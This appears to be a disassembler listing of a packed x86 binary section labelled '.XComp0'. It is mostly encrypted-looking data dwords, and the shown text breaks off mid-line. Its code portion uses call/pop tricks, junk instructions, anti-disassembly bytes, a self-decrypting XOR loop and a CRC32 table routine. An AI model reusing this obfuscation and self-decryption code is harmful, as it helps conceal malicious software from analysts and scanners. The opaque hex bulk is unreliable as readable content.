0BD7C5F54h, 0DCC6ADFCh dd 35F19174h, 0DB9E79F8h, 6F85E374h, 0FB7BD3C1h, 1F3C7FFDh dd 0FD6D0480h, 7F795E75h, 0FB7B0EC9h, 25E01A35h, 7E7CCA53h dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0FB7B9DC9h, 0DBBCECF8h dd 59892974h, 0FD722F2Bh, 6F85CB75h, 0FB7BC4CDh, 897E0AF6h dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 0A90162Fh, 707CCA53h dd 0FC5B25CFh, 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh dd 3DE7A226h, 7D7C9654h, 887BD349h, 1683BE71h, 3E82A977h dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0FB7B0845h, 0DCBA25F8h dd 80F1CD74h, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h dd 0FB7B7FB5h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 0DCBA58F8h dd 0C2FBF474h, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h dd 9C82969Eh, 40F7ABB6h, 0FB7BC4B5h, 0FD7AF3CDh, 0FD72C075h dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0FB7BB6B8h, 0CA8BD08Ah dd 25E9h, 8F368C00h, 6Eh, 7 dup(0) dd 0B2E90000h, 0BE000007h, 8F36EE23h, 993CE02Fh, 0C530D42Fh dd 9C3BE124h, 0F25D730h, 205E592h, 3AD1FBDAh, 11F8E302h dd 2AE30CEBh, 0EC27D0F2h, 23955E91h, 2790590Eh, 944548C7h dd 638CBC82h, 984423AAh, 2F42CA6Fh, 0D1AA2EC9h, 0B637CCEEh dd 2E082EE3h, 0E6E726C7h, 0B314DC01h, 28410E7Eh, 0EC8D00C9h dd 0B720E7D3h, 24F5F817h, 14FBE312h, 760714EDh, 0F3299638h dd 0E924C936h, 0C82135E4h, 830AF9DFh, 0E1B339A4h, 0B10E9E82h dd 0B0981DD4h, 60D589D5h, 397C3399h, 0CD69470Bh, 0FA1CE9D2h dd 0F0CDDF0Bh, 0DD00E71Dh, 0FD34D1FAh, 407DD044h, 9353DECh dd 0D1EE4BE5h, 0DF0E20EBh, 2AF1DBFCh, 964590E9h, 0D9100D29h dd 458AF320h, 1A072996h, 0F3D9DECFh, 0C90005E6h, 9BC746C4h dd 3ADF2A91h, 5FFC1FBDh, 2996451Eh, 0B223EE9Bh, 3CDD57F7h dd 0FEEF16C3h, 3EC0B2Bh, 7A00830Ah, 0F6299645h, 0BABD30D5h dd 19FFF613h, 0EA3EE0EEh, 0F613BA45h, 4EC22AFFh, 552E1741h dd 657190A6h, 9AE370C9h, 17299604h, 0AD3FC46Ah, 6A4D2FDCh dd 0ADh, 8A46CEBCh, 0D105D346h, 0A66EDC42h, 32C6584Eh dd 2DF0CD1Ch, 96768BEEh, 0D61B0829h, 764734DFh, 17C12996h dd 0E2FEE9ECh, 0EB22A82Dh, 3CCFEDFFh, 0D729E0B9h, 0E023C532h dd 1AC33CEDh, 0B6A463F3h, 2F521CD0h, 6D94Dh, 9B240000h dd 53BDB32h, 4F79648Ch, 685E60B4h, 726ADAEBh, 8D3136B7h dd 1AF88192h, 88752996h, 7E6B4C41h, 0E56D486Ah, 91AACE71h dd 0D2D339A0h, 4E3F8A14h, 6878269h, 5E4FBA21h, 34EAF8CFh dd 5A7F7841h, 6E7C8BABh, 729137C0h, 6988AE7Bh, 0B5528A85h dd 0D165A24Ah, 0C01EBD22h, 288F4A4Bh, 578D44C5h, 8B31CEB9h dd 5B7F6E80h, 0B98029ACh, 9685DF9Ah, 389F5C29h, 0A8817495h dd 88876786h, 4EBB2205h, 6C7A6047h, 6D5DD2D4h, 0C7CE0321h dd 6D80601h, 6BA85106h, 29962212h, 7D7C928Fh, 986F5B51h dd 0B15C8164h, 0FCC28488h, 0AC02231Fh, 56B489F5h, 658940C9h dd 9842BD7Ch, 9FAF6A6Bh, 83676A50h, 0B83B1184h, 6079D7C4h dd 0F2E32EE3h, 0D3B39F66h, 4D2F59E9h, 3495F7DDh, 14996C4Dh dd 0F56B6F45h, 0D51762F1h, 0E7942995h, 0BF100C22h, 0F2000000h dd 95E873CEh, 12299685h, 0CAF20115h, 1E3D043Dh, 2996855Bh dd 0E20B2BD8h, 0CA3BA017h, 0E023C524h, 2A530039h, 0A7299685h dd 8530490Ah, 0F0AD2996h, 0E71CBE39h, 0CA2333E6h, 0DF3E9653h dd 21ACAE6Ch, 0D5010016h, 0ED14F3D7h, 0AE1FECD2h, 38E15BFBh dd 4BEB1ABFh, 0C6C740ACh, 0D52E9C23h, 6E509E0h, 2BAD20E5h dd 0C43FA916h, 7F618D1h, 0C881EBDBh, 79264D2Fh, 0F9000000h dd 0E76A1340h, 3AE72995h, 31CE1E14h, 1AD97D88h, 55AC55B2h dd 9685B3C6h, 0E3733029h, 4BBE1D0Ah, 46C12996h, 6B749A4Fh dd 0C32B94ADh, 7E90494Ch, 7159537Fh, 70C96E96h, 96859AE3h dd 6D6A1729h, 6633BA4Dh, 46CE6AD0h, 0C8159048h, 0EFFE10AAh dd 1E9940CFh, 56B718BFh, 0E1727B9Bh, 29958B95h, 8F77633Ah dd 4D2FA7DDh, 58AD0EA9h, 66AB6h, 4AB50000h, 6CD264A1h dd 30A55E8Ch, 6667A647h, 3DB05B81h, 9A44933Ah, 0C735B871h dd 66FCA2B0h, 535AF3D9h, 618267A5h, 9642C7B2h, 92574429h dd 9D517D7Ch, 0DD14A237h, 24CA669Eh, 3CE023C5h, 0C3509A0Ch dd 299657BAh, 5A7F4A37h, 56B7189Fh, 0B00D8A5Fh, 9896B95Dh dd 0AB2F8F79h, 20E922CCh, 0C6F30CADh, 7B9B4E3Fh, 0CF9D537Ch dd 9EE2FCE4h, 9158B51Ah, 9C41A458h, 0AB44C871h, 0CF3AA1BBh dd 8F4B99FDh, 9ADD667Fh, 14239D4Bh, 857263ACh, 0A931A467h dd 4EAA7462h, 91832B37h, 620439E7h, 7B7A9C3Bh, 0A089BB52h dd 5D70542Ch, 0BE50AB18h, 6C4D8E2Fh, 0DB4A2E7Ch, 0AF7AE2F2h dd 46746B3Eh, 47CD74BDh, 11395F1Eh, 17C9764h, 7E239D74h dd 3DA64881h, 0C178953Ah, 5692194Bh, 6199769Ch, 0D59F5A7Bh dd 0F7F006CBh, 925C8A5Dh, 96D1AC67h, 514E239Ch, 4A912EBDh dd 7CA069A6h, 0D6B2F973h, 8C32CD48h, 0C8B36F7Fh, 95000001h dd 83169FFh, 324B0831h, 0AF299685h, 9DE95CF2h, 2F8F91h dd 0F7AE1EE6h, 1ECCDE16h, 0F039F0E5h, 0AF5B439h, 0E31224E1h dd 6F113FAh, 3BC8F2E9h, 0A32ADFBAh, 35D0F906h, 0CCEEE9C0h dd 53E3B637h, 27D23BA4h, 38DE2F90h, 45235AFh, 0C6288F6Ah dd 0FEC3B645h, 4340239Ch, 729B44B3h, 0AE3645C7h, 38738025h dd 19D31C16h, 0DE48D65Fh, 90h, 0D2379621h, 31CEF63Ch, 0F36F7F8Ah dd 53003969h, 0A996850Ah, 0DA1FDAC7h, 870E01DDh, 853841D2h dd 63F0A996h, 0A996851Ah, 7F4EA97h, 2455FEE7h, 9AA99685h dd 0D2D5D835h, 8E991CE9h, 3D6D72Ch, 0DA84D2BDh, 0C8578372h dd 0DED90052h, 0D0890C01h, 0C448F13Eh, 0F2AF57B2h, 1134DAB7h dd 29967848h, 1F5AF940h, 9C299678h, 33FE11ADh, 0F62EDB23h dd 522BE811h, 0C8299678h, 401E526h, 0D501F2h, 1380000h dd 2734D9F6h, 29967856h, 0FA40D6D3h, 7E8931CEh, 0C01A8CD8h dd 9E19E019h, 13C6C73Ch, 96857508h, 2135F229h, 8F86542Eh dd 0CBC2BF2Fh, 0D20A03ECh, 5243CAF3h, 6CF125A7h, 209FAAAAh dd 703D3B0Eh, 0D9DE239Dh, 443EBBF3h, 1539123Dh, 0DE36F8E6h dd 0C4D7026Eh, 6F7E9025h, 0D82B8D4Eh, 0E97FEB11h, 46B188B1h dd 867164A9h, 0C96DA469h, 9E5D9386h, 2ED3D029h, 0EAD2A91h dd 0EABF36FBh, 0E1DE9B44h, 47D40DF8h, 1D9C0E36h, 9160F6B3h dd 0FA09AF2Ch, 36EB26F3h, 52E41FC9h, 0CC1AF199h, 6EADC553h dd 1D9C0F0Bh, 0AB569B88h, 575EA714h, 7ABF6C82h, 779838BFh dd 9C0EA1DCh, 8B611E1Dh, 15B1B846h, 0C88BABA2h, 239CB955h dd 2FCF7892h, 6383672Ah, 0FF9876AEh, 0FBDCFF69h, 0E6B33AD1h dd 3AEFAA2Bh, 0ACC954FFh, 0CB412F97h, 0A5630114h, 678F9F0Eh dd 2EF089CAh, 8A662395h, 65591085h, 2FC871B8h, 766F7F8Eh dd 0ACCD8EB3h, 2923952Eh, 189B987Ch, 7F905316h, 0AE5F806Fh dd 0AF6E4F76h, 9560D9A4h, 60A95623h, 27B853B9h, 0B21D4A87h dd 19A6439Ch, 8FC254AFh, 8C23063Bh, 5F56B517h, 22937458h dd 3E034F36h, 5757EB2Eh, 4134FDEEh, 69561846h, 0A26B5481h dd 42B37E2Bh, 0C728C767h, 96379E46h, 0DC77C277h, 0BB06DEA1h dd 97E2711Eh, 14BB06DEh, 538CA267h, 806C6754h, 35974287h dd 0BAA2AAD9h, 0F5EE00CEh, 6A8B655h, 0B33AD5F9h, 34CFF9E6h dd 23EAD322h, 14F9D601h, 20EDD2EDh, 915AFCADh, 1AE9CFE8h dd 0BF30C693h, 8, 0C5320F01h, 0E74DE124h, 29AC658Ch, 696CA13Eh dd 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh dd 75788B2Dh, 0CCC14E72h, 72AB681Bh, 14890000h, 0E6895624h dd 4C681h, 0EE830000h, 24348704h, 241C895Ch, 61A668h, 24148900h dd 4CF6852h, 575A1C61h, 5FDD01BFh, 5FFA2916h, 685AD389h dd 0D7h, 81242489h, 42404h, 815A0000h, 4ECh, 241C8900h dd 8B08428Fh, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 241C8B5Ch, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F84F99E9h dd 0E6E65FFFh, 8ABBF8CFh, 0B4037BE6h, 2EF4B8DAh, 0C5030601h dd 0A047E0FFh, 0CD6325AEh, 0C7454547h, 45AD28EAh, 0D8F87FE0h dd 0A88919C3h, 1B2F6AA8h, 5634589h, 6FED1FA8h, 0AE4E3D30h dd 5C3F2A23h, 0E98493Ch, 25240E2Dh, 85A0176Fh, 9D844B24h dd 52172996h dd 0F1EF5155h, 913747CBh, 1A64356Fh, 0DC396FEEh, 0B8FC2276h dd 0CAFE5826h, 0A80F44B0h, 8A4BCD37h, 0A80F45FFh, 75EAD5ABh dd 0A80F4A57h, 8A4BC23Dh, 57AE5DBAh, 8A4BC2EAh, 0A80F4B47h dd 75EAD5ABh, 0A80F4B0Eh, 8A4BC3D8h, 0A80F4B88h, 8A4BC05Ah dd 0A80F4802h, 75EAD5ABh, 0A0D42F25h, 3132B65h, 0A97E7DC0h dd 0FC90A752h, 2157A374h, 8B3AC9D1h, 65D42F43h, 3132B65h dd 0A97E45C0h, 0AF90A752h, 2157A377h, 8B3AC5D1h, 0D4D42F43h dd 3132B66h, 0A97E51C0h, 5B90A752h, 2157A377h, 8B3AD1D1h dd 0BDD42F43h, 3132B67h, 0A97E5DC0h, 0D490A752h, 2157A376h dd 8B252DD1h, 37D42F43h, 3132B67h, 0A961A9C0h, 6A90A752h dd 2157A376h, 8B2525D1h, 89D42F43h, 3132B60h, 0A961B1C0h dd 0D090A752h, 2157A371h, 8B253DD1h, 12B8C343h, 0DF152A50h dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0BAD7C0D5h, 0ED96A444h dd 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h dd 415564C6h, 75EAD5BAh, 3AAE63CEh, 8FEC0A75h, 0AB534284h dd 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h dd 62AD6C54h, 351A241h, 27BFEA66h, 76DB2FEEh, 75132B76h dd 2011294h, 0A8CBA0D9h, 79AEA444h, 0AE51A1ECh, 22DC0941h dd 8C14088Ah, 103773BAh, 21732ADFh, 8A8F28C8h, 5BEA2C55h dd 8C152BFDh, 988150h, 0AE50809Bh, 0D2A5FBABh, 0A42C89EFh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 0BB97C0D5h, 0DDDAA444h, 8668A15Ch, 0A8ADE782h dd 0CC152A54h, 881430BAh, 529E2FADh, 83FC69CEh, 0E2A5B997h dd 0F9FA31EFh, 0A8CBA0D9h, 79AEA444h, 20949A0Dh, 8C551A23h dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8A15C234h, 290BA245h, 8B24F3BEh, 0A0242943h dd 4D1957DFh, 0A8515E00h, 75532A54h, 5171E7D7h, 19CDA151h dd 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0A8CBA0D9h, 79AEA444h dd 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh, 174D629h dd 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh dd 8A15D611h, 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh dd 2851A245h, 0E1AD5A8h, 0A851A25Eh, 8A1523EDh, 2DA05545h dd 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h dd 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h dd 11D5FDFh, 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h dd 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h dd 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h dd 39191EFh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h dd 0A7B2229Dh, 85E1D4h, 22DC0886h, 8C14088Ah, 0F8E173BAh dd 549FA7FEh, 5757A367h, 20D6A085h, 215DDF6Eh, 174D629h dd 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh dd 8A15D611h, 0AFE9A245h, 75152A54h, 517183D7h, 20452651h dd 8A8F28C8h, 5BEA2C55h, 9BFB2BF5h, 85318694h, 0AC59622Eh dd 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h dd 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h dd 0CF87D5FEh, 23545B65h, 4917868Ch, 76DB2FEFh, 75132B76h dd 28E9C494h, 0BE4CBDh, 0D57A0886h, 7668A358h, 54142924h dd 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h, 7650ED58h dd 0A851A245h, 18EA80F8h, 0ADA88200h, 58B9E2DFh, 32DC0885h dd 8C14088Ah, 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h dd 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh dd 0CFD22629h, 0A851A2B9h, 75BF8654h, 5171E7D7h, 26DDA151h dd 25FB6377h, 8B37F4CEh, 0CE825D43h, 0ECE4AAECh, 29028EEh dd 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h dd 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h dd 0A8CBB0D9h, 7BAEA444h, 4B959232h, 4FD0923h, 866801FEh dd 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h dd 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 548FA7FFh dd 5757A367h, 20A09A87h, 25FB0E03h, 8B37F4CEh, 0CE825D43h dd 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0BEBFC0D5h, 0ED96A444h dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh dd 0A851D6ACh, 8660D554h, 2559D7BAh, 8B3AF5CEh, 32DCF143h dd 8C141AE2h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h dd 87BE38C8h, 7462C55h, 0A96114DFh, 3C6D552h, 92B85E00h dd 75152A54h, 0DDAEAE30h, 718FA75Ch, 0FB57A36Ah, 0BAA3B0D9h dd 7BAEA444h, 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h dd 8C141A53h, 1ECB2F16h, 75132B64h, 54142B96h, 8A152ABDh dd 0EDDAC345h, 82D7E3A8h, 3044BA45h, 8D8D0000h, 6013634h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0E4C35040h dd 0A8B22DB9h, 0DE907h, 9E730000h, 1BF1A4C6h, 208144D3h dd 8958EBA9h, 0F90CDD8Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 4103F6C8h dd 845AEB81h, 1CB43EBAh, 26C185C7h, 6FE805F9h, 0BD8B0000h dd 5F933E5h, 0FD85C7h, 5F9h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 315DADC3h dd 51ECA2B8h, 1771B5FFh, 0C08005F9h, 0D595FF66h, 5205F920h dd 0FFD88166h, 6A5AF5h, 1AED95FFh, 0C08B05F9h, 0F5BF78EBh dd 0F651A705h, 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 532A43A2h dd 0B6C2D9D4h, 0FE5EA07Eh, 0A62ED66Eh, 852B41B8h, 4395080Eh dd 1B2A3B87h, 8C92392h, 0ACD8CF46h, 1E2FCEBCh, 0E902B114h dd 55FA455Eh, 0B167FD15h, 75D18293h, 0A7020FB6h, 0B1D83A94h dd 0A537E61Eh, 32D9246Fh, 17C12D8Eh, 6D4AA1A2h, 0FDE2CA1Eh dd 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h, 0AFC6F8Dh, 2AE9C9C2h dd 0C7000000h, 2404h, 0E80000h, 5D000000h, 36C2ED81h, 448B0601h dd 85890424h, 5F90781h, 0B8h, 0E88D8D00h, 0FF05F94Eh, 6754B8E1h dd 9D8D0000h, 5F927E9h, 1CA0B8h, 39858900h, 0E805F920h dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5F0995 ; --------------------------------------------------------------------------- align 4 dd 727h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5F0995: ; CODE XREF: .XComp0:005EECF0j call near ptr loc_5F099E+2 shl byte ptr [edi+5Ah], 3Ch loc_5F099E: ; CODE XREF: .XComp0:loc_5F0995p or eax, 0F947BB0Bh cmp al, 1Bh pop ecx mov ah, 53h add ecx, 709Bh mov ebx, 702B7B71h push 0 sub bh, 0ECh pop esi or eax, 61B22251h ; START OF FUNCTION CHUNK FOR sub_5F0A46 loc_5F09C2: ; CODE XREF: sub_5F0A46+3Aj mov edx, [ecx+esi] or eax, 0E142214h add edx, 5C7E861h jmp loc_5F09E9 ; END OF FUNCTION CHUNK FOR sub_5F0A46 ; --------------------------------------------------------------------------- dw 6091h dd 76675CC0h, 1C3EA262h, 520168FDh, 0A886A21Ah ; --------------------------------------------------------------------------- wait ; START OF FUNCTION CHUNK FOR sub_5F0A46 loc_5F09E9: ; CODE XREF: sub_5F0A46-75j xor edx, 1229B27h push ecx jmp loc_5F0A07 ; END OF FUNCTION CHUNK FOR sub_5F0A46 ; --------------------------------------------------------------------------- db 41h, 0B6h, 0F3h dd 8F934CE2h, 0A557D236h, 0A6F2134Fh db 0F4h, 0F6h, 97h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5F0A46 loc_5F0A07: ; CODE XREF: sub_5F0A46-56j pop ebx xor edx, 62D2125Ch call sub_5F0A1E ; END OF FUNCTION CHUNK FOR sub_5F0A46 ; --------------------------------------------------------------------------- db 8Ch dd 7195463Eh, 6649C8C8h db 0CAh, 0DAh ; =============== S U B R O U T I N E ======================================= sub_5F0A1E proc near ; CODE XREF: sub_5F0A46-38p jg loc_5F0A34 jmp loc_5F0A34 ; --------------------------------------------------------------------------- db 0A9h, 11h, 1Fh dd 0F18D271h, 0A957F6B4h ; --------------------------------------------------------------------------- loc_5F0A34: ; CODE XREF: sub_5F0A1Ej sub_5F0A1E+6j pop eax push edx call sub_5F0A46 std pop edx pop edx mov cl, 68h movsd mov edx, 51DB39DDh sub_5F0A1E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F0A46 proc near ; CODE XREF: sub_5F0A1E+18p ; FUNCTION CHUNK AT 005F09C2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005F09E9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005F0A07 SIZE 0000000C BYTES pop ebx pop dword ptr [ecx+esi] jmp loc_5F0A5E ; --------------------------------------------------------------------------- db 41h dd 32AEBD35h, 3E159C7Dh, 0DAEB63ADh ; --------------------------------------------------------------------------- mov bh, 36h loc_5F0A5E: ; CODE XREF: sub_5F0A46+4j mov edi, esi sub esi, 3 jmp loc_5F0A73 ; --------------------------------------------------------------------------- dd 9B3AA941h, 4595F2F0h db 0EFh, 0B5h, 0CDh ; --------------------------------------------------------------------------- loc_5F0A73: ; CODE XREF: sub_5F0A46+1Dj dec esi xor ebx, 2AFC3E48h cmp esi, 0FFFF9054h jnz loc_5F09C2 push ecx sbb ax, 0E52Ch pop edi jmp loc_5F0ACD ; --------------------------------------------------------------------------- pusha mov edi, [ebp+5F908F5h] sub edi, 4 xor ecx, ecx loc_5F0A9E: ; CODE XREF: sub_5F0A46+7Fj mov eax, ecx mov ebx, 0EDB88320h add edi, 4 mov esi, 8 loc_5F0AAD: ; CODE XREF: sub_5F0A46+70j shr eax, 1 sbb edx, edx and edx, ebx xor eax, edx dec esi jnz loc_5F0AAD inc ecx mov [edi], eax cmp ecx, 100h jb loc_5F0A9E popa retn ; --------------------------------------------------------------------------- loc_5F0ACD: ; CODE XREF: sub_5F0A46+47j mov ecx, eax call sub_5F0AE3 adc ebp, [edi-444E6046h] fnsave byte ptr [eax] stosd sub [esi+ebx*8], dh clc and dh, al sub_5F0A46 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F0AE3 proc near ; CODE XREF: sub_5F0A46+89p movzx esi, si pop ebx add ebx, 5F2Dh jns loc_5F0AFA push ecx sub di, 0DCD2h pop eax loc_5F0AFA: ; CODE XREF: sub_5F0AE3+Aj mov edx, 405893B8h add edx, 0BFA783F2h mov ax, bx loc_5F0B08: ; CODE XREF: sub_5F0AE3+66j push dword ptr [ebx] cld pop ecx movzx edi, ax xor ecx, 578E5B7Dh mov si, dx xor ecx, 3B9BA737h adc esi, 89A6DC6h sub ecx, 45AE9CE2h or si, 0D28Ch mov [ebx], ecx pusha mov dx, 0AF65h movsx edx, si popa sub ebx, 4 push esi mov ax, 182h pop eax sub edx, 1 jnz loc_5F0B08 jmp loc_5F0B5D ; --------------------------------------------------------------------------- dd 29C8A86Dh, 122F4F2h db 44h ; --------------------------------------------------------------------------- loc_5F0B5D: ; CODE XREF: sub_5F0AE3+6Cj lea ecx, [ebp+601561Ch] mov esi, [ebp+5F91B15h] mov [ebp+5F90CDDh], ecx push 0 push ecx call sub_5F0B7A and [ecx-3Dh], bl sub_5F0AE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F0B7A proc near ; CODE XREF: sub_5F0AE3+8Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5F0B7A endp ; --------------------------------------------------------------------------- dw 93BEh ; --------------------------------------------------------------------------- adc dword ptr [ebp-34501EEh], 26C185C7h stc add eax, 5F0Ch push 0 push edi call sub_5F0BA7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F0BA7 proc near ; CODE XREF: .XComp0:005F0B9Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5F0BA7 endp ; --------------------------------------------------------------------------- fbstp tbyte ptr [esi+ebp*2-42h] sbb al, 6Bh mov bl, 21h mov dword ptr [ebp+5F900FDh], 0 mov edi, [ebp+5F90A39h] push dword ptr [ebp+5F91FA1h] push 0 push ecx call sub_5F0BE0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F0BE0 proc near ; CODE XREF: .XComp0:005F0BD8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5F0BE0 endp ; --------------------------------------------------------------------------- dd 0F6A7C10h, 95FFF2BFh, 5F920D5h, 32D5BD8Bh, 6A05F9h dd 1AED95FFh, 0C08B05F9h, 0C00A18EBh, 0F5BFC366h, 0F651A705h dd 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 8EE943A2h, 6800006Ah dd 601C048h, 0F828C5E9h, 749D44FFh, 46C925D0h, 7291379Eh dd 47BE2BCAh, 7D8A3295h, 87346DC7h, 5580A463h, 85709477h dd 5681A366h, 82709479h, 2FD3A6B5h, 9B502395h, 0B71D24DDh dd 89B099C7h, 4F0C3583h, 2996332Eh, 0E258FEABh, 7D8831CEh dd 0DEB48478h, 361B9A2Dh, 319C5BFBh, 0B7A648A6h, 843AE69Dh dd 0E000C900h, 9B40B782h, 0CE6EC46Ah, 787D8831h, 0A2DB78A1h dd 1F299685h, 0BE1DCC62h, 9079645Bh, 0A7AA4C1Dh, 299685D3h dd 19D8C56h, 1A9C744Ch, 308D2ACFh, 0CE0339DDh, 797C8731h dd 2FD18EA0h, 8C4E7FF1h, 4324A962h, 9A7E6F96h, 64856773h dd 91AF68A1h, 8F8A31CEh, 9685F984h, 40897629h, 8B7A9C4Dh dd 618C965Fh, 9685A4D2h, 0C67A2729h, 95E873CEh, 4D299685h dd 96856B0Eh, 0CB3BE829h, 0CF7E1DEh, 0D7E059EAh, 0C39617F6h dd 31CE0D33h, 7D6C828Dh, 85A1D55Eh, 77242996h, 8546CEC9h dd 0ACB5D003h, 80203DD1h, 0A6D4638Ch, 29299685h, 85AECF8Ch dd 7E2B2996h, 0A8B38EB3h, 299685D5h, 7BC15552h, 5F8C4AFEh dd 0A4482FA6h, 206B3546h, 1FEA1EF4h, 0F1DD2CAEh, 0C33CD92Dh dd 0EB1CC019h, 0CE2A1026h, 777E8931h, 85105685h, 0DE13FCEDh dd 0D89DC938h, 0A4D2618Ch, 62299685h, 7D917455h, 27B9875h dd 7F299686h, 0DA994782h, 9778585Fh, 5EA91116h, 48C12C93h dd 0BC829445h, 0CDF46CEh, 1DE1057Eh, 46D3FAF9h, 1F40FB9h dd 0F1720B28h, 32EF2995h, 17B542F7h, 0ACDC62F4h, 49C62A95h dd 648C8FA5h, 638976ABh, 0E27425A8h, 2A95AC5Ch, 91A747C4h dd 13A42811h, 794C8E4Bh, 0CE9AA0B6h, 0CE8D8831h, 299685ABh dd 0A0B67B28h, 3EB97561h, 0B465689Dh, 31CE9CA2h, 0A0797C87h dd 8D7C5F8Eh, 867D6B54h, 88D23D0Fh, 7FDE29C1h, 258EA44Ah dd 0D138A31Ch, 73CEF73Dh, 968595E8h, 29E00B29h, 1411F5A4h dd 41C8F302h, 0A0B13498h, 2E6A33D0h, 0B51C9C91h, 14F83111h dd 1A0EA2B3h, 0D85EF011h, 60D143FEh, 0ACC50BEAh, 0F179BF4Fh dd 0F47D4F77h, 27E40A96h, 0E521F3A6h, 0E823C999h, 0FB270D21h dd 0F21DC13Eh, 32082EFBh, 8CA74E9Ch, 0D281B861h, 299685A7h dd 0A1DC7724h, 1E299685h, 0DA78A861h, 9475585Fh, 3A462B21h dd 473A0171h, 0CEC66C82h, 7B30A173h, 50DFA49Bh, 958FBAC3h dd 0A44A3729h, 8831A645h, 66679E4Bh, 8EB37EB3h, 0B7741E86h dd 0CE609A34h, 4F68D168h, 0A88EA06Fh, 5778638Ch, 0CECD7BB6h dd 8595E873h, 0E4D2996h, 2996856Bh, 0DECB3BE8h, 0CE11AF38h dd 0D12EA173h, 1688DA9Dh, 96397405h, 3317F129h, 0CE878CE6h dd 45A44A7Fh, 0FEC365A8h, 0B7608C4Ah, 9685E19Ch, 68A15E29h dd 64A946B1h, 0A096B871h, 0B3954AFEh, 17A04E9Ch, 876253B2h dd 638CD167h, 149D6FAAh, 0CE88BF1Bh, 0CE2C1224h, 8595E873h dd 15122996h, 8CE04001h, 0B6577863h, 8F39C67Bh, 86A88174h dd 